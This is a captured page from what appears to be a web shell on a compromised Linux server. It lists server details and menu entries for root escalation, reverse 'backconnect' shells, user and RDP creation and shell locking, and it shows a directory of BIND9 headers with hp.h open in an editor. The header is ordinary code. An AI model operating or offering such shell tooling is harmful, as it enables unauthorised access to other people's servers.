Linux hermes.alfaserver.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Apache
: 5.189.182.135 | : 216.73.216.28
36 Domain
8.4.14
begrecagr
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
include /
bind9 /
isc /
[ HOME SHELL ]
Name
Size
Permission
Action
aes.h
1015
B
-rw-r--r--
align.h
569
B
-rw-r--r--
app.h
6.97
KB
-rw-r--r--
assertions.h
2.17
KB
-rw-r--r--
astack.h
1.11
KB
-rw-r--r--
atomic.h
3.01
KB
-rw-r--r--
backtrace.h
3.8
KB
-rw-r--r--
barrier.h
1.03
KB
-rw-r--r--
base32.h
4.35
KB
-rw-r--r--
base64.h
2.8
KB
-rw-r--r--
bind9.h
829
B
-rw-r--r--
buffer.h
29.91
KB
-rw-r--r--
bufferlist.h
1.42
KB
-rw-r--r--
cmocka.h
1.35
KB
-rw-r--r--
commandline.h
1.67
KB
-rw-r--r--
condition.h
1.87
KB
-rw-r--r--
counter.h
1.88
KB
-rw-r--r--
crc64.h
998
B
-rw-r--r--
deprecated.h
662
B
-rw-r--r--
dir.h
1.51
KB
-rw-r--r--
endian.h
4.75
KB
-rw-r--r--
errno.h
659
B
-rw-r--r--
errno2result.h
901
B
-rw-r--r--
error.h
1.4
KB
-rw-r--r--
event.h
3.36
KB
-rw-r--r--
eventclass.h
1.41
KB
-rw-r--r--
file.h
11.4
KB
-rw-r--r--
formatcheck.h
940
B
-rw-r--r--
fsaccess.h
7.28
KB
-rw-r--r--
fuzz.h
593
B
-rw-r--r--
hash.h
1.61
KB
-rw-r--r--
heap.h
5.14
KB
-rw-r--r--
hex.h
2.74
KB
-rw-r--r--
hmac.h
3.88
KB
-rw-r--r--
hp.h
4.48
KB
-rw-r--r--
ht.h
4.38
KB
-rw-r--r--
httpd.h
2.24
KB
-rw-r--r--
interfaceiter.h
3.07
KB
-rw-r--r--
iterated_hash.h
933
B
-rw-r--r--
lang.h
686
B
-rw-r--r--
lex.h
9.77
KB
-rw-r--r--
lfsr.h
2.89
KB
-rw-r--r--
lib.h
1.13
KB
-rw-r--r--
likely.h
868
B
-rw-r--r--
list.h
7.9
KB
-rw-r--r--
log.h
25.88
KB
-rw-r--r--
magic.h
999
B
-rw-r--r--
managers.h
776
B
-rw-r--r--
md.h
5.63
KB
-rw-r--r--
mem.h
17.66
KB
-rw-r--r--
meminfo.h
710
B
-rw-r--r--
mutex.h
4.08
KB
-rw-r--r--
mutexatomic.h
9.56
KB
-rw-r--r--
mutexblock.h
1.13
KB
-rw-r--r--
net.h
8.36
KB
-rw-r--r--
netaddr.h
4.67
KB
-rw-r--r--
netdb.h
860
B
-rw-r--r--
netmgr.h
15.36
KB
-rw-r--r--
netscope.h
966
B
-rw-r--r--
nonce.h
743
B
-rw-r--r--
offset.h
687
B
-rw-r--r--
once.h
767
B
-rw-r--r--
os.h
765
B
-rw-r--r--
parseint.h
1.5
KB
-rw-r--r--
platform.h
1.82
KB
-rw-r--r--
pool.h
3.41
KB
-rw-r--r--
portset.h
3.22
KB
-rw-r--r--
print.h
680
B
-rw-r--r--
queue.h
1.31
KB
-rw-r--r--
quota.h
3.48
KB
-rw-r--r--
radix.h
6.85
KB
-rw-r--r--
random.h
1.45
KB
-rw-r--r--
ratelimiter.h
3.41
KB
-rw-r--r--
refcount.h
4.98
KB
-rw-r--r--
regex.h
767
B
-rw-r--r--
region.h
2.18
KB
-rw-r--r--
resource.h
2.79
KB
-rw-r--r--
result.h
5.45
KB
-rw-r--r--
resultclass.h
1.56
KB
-rw-r--r--
rwlock.h
2.48
KB
-rw-r--r--
safe.h
1.12
KB
-rw-r--r--
serial.h
1.33
KB
-rw-r--r--
siphash.h
916
B
-rw-r--r--
sockaddr.h
6.13
KB
-rw-r--r--
socket.h
23.55
KB
-rw-r--r--
stat.h
803
B
-rw-r--r--
stats.h
6.53
KB
-rw-r--r--
stdatomic.h
8.9
KB
-rw-r--r--
stdio.h
1.69
KB
-rw-r--r--
stdtime.h
1.36
KB
-rw-r--r--
strerr.h
575
B
-rw-r--r--
string.h
851
B
-rw-r--r--
symtab.h
4.22
KB
-rw-r--r--
syslog.h
843
B
-rw-r--r--
task.h
16.72
KB
-rw-r--r--
taskpool.h
3.2
KB
-rw-r--r--
thread.h
1.86
KB
-rw-r--r--
time.h
10.85
KB
-rw-r--r--
timer.h
7.77
KB
-rw-r--r--
tm.h
894
B
-rw-r--r--
types.h
5.72
KB
-rw-r--r--
url.h
2.62
KB
-rw-r--r--
utf8.h
928
B
-rw-r--r--
util.h
13.96
KB
-rw-r--r--
version.h
499
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : hp.h
/* * Copyright (C) Internet Systems Consortium, Inc. ("ISC") * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, you can obtain one at https://mozilla.org/MPL/2.0/. * * See the COPYRIGHT file distributed with this work for additional * information regarding copyright ownership. */ /* * Hazard Pointer implementation. * * This work is based on C++ code available from: * https://github.com/pramalhe/ConcurrencyFreaks/ * * Copyright (c) 2014-2016, Pedro Ramalhete, Andreia Correia * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of Concurrency Freaks nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF * THE POSSIBILITY OF SUCH DAMAGE. */ #pragma once #include <isc/atomic.h> #include <isc/mem.h> #include <isc/string.h> #include <isc/types.h> #include <isc/util.h> /*% * Hazard pointers are a mechanism for protecting objects in memory * from being deleted by other threads while in use. This allows * safe lock-free data structures. * * This is an adaptation of the ConcurrencyFreaks implementation in C. * More details available at https://github.com/pramalhe/ConcurrencyFreaks, * in the file HazardPointers.hpp. */ typedef void(isc_hp_deletefunc_t)(void *); void isc_hp_init(int max_threads); /*%< * Initialize hazard pointer constants - isc__hp_max_threads. If more threads * will try to access hp it will assert. */ isc_hp_t * isc_hp_new(isc_mem_t *mctx, size_t max_hps, isc_hp_deletefunc_t *deletefunc); /*%< * Create a new hazard pointer array of size 'max_hps' (or a reasonable * default value if 'max_hps' is 0). The function 'deletefunc' will be * used to delete objects protected by hazard pointers when it becomes * safe to retire them. */ void isc_hp_destroy(isc_hp_t *hp); /*%< * Destroy a hazard pointer array and clean up all objects protected * by hazard pointers. */ void isc_hp_clear(isc_hp_t *hp); /*%< * Clear all hazard pointers in the array for the current thread. * * Progress condition: wait-free bounded (by max_hps) */ void isc_hp_clear_one(isc_hp_t *hp, int ihp); /*%< * Clear a specified hazard pointer in the array for the current thread. * * Progress condition: wait-free population oblivious. */ uintptr_t isc_hp_protect(isc_hp_t *hp, int ihp, atomic_uintptr_t *atom); /*%< * Protect an object referenced by 'atom' with a hazard pointer for the * current thread. * * Progress condition: lock-free. */ uintptr_t isc_hp_protect_ptr(isc_hp_t *hp, int ihp, atomic_uintptr_t ptr); /*%< * This returns the same value that is passed as ptr, which is sometimes * useful. * * Progress condition: wait-free population oblivious. */ uintptr_t isc_hp_protect_release(isc_hp_t *hp, int ihp, atomic_uintptr_t ptr); /*%< * Same as isc_hp_protect_ptr(), but explicitly uses memory_order_release. * * Progress condition: wait-free population oblivious. */ void isc_hp_retire(isc_hp_t *hp, uintptr_t ptr); /*%< * Retire an object that is no longer in use by any thread, calling * the delete function that was specified in isc_hp_new(). * * Progress condition: wait-free bounded (by the number of threads squared) */
Close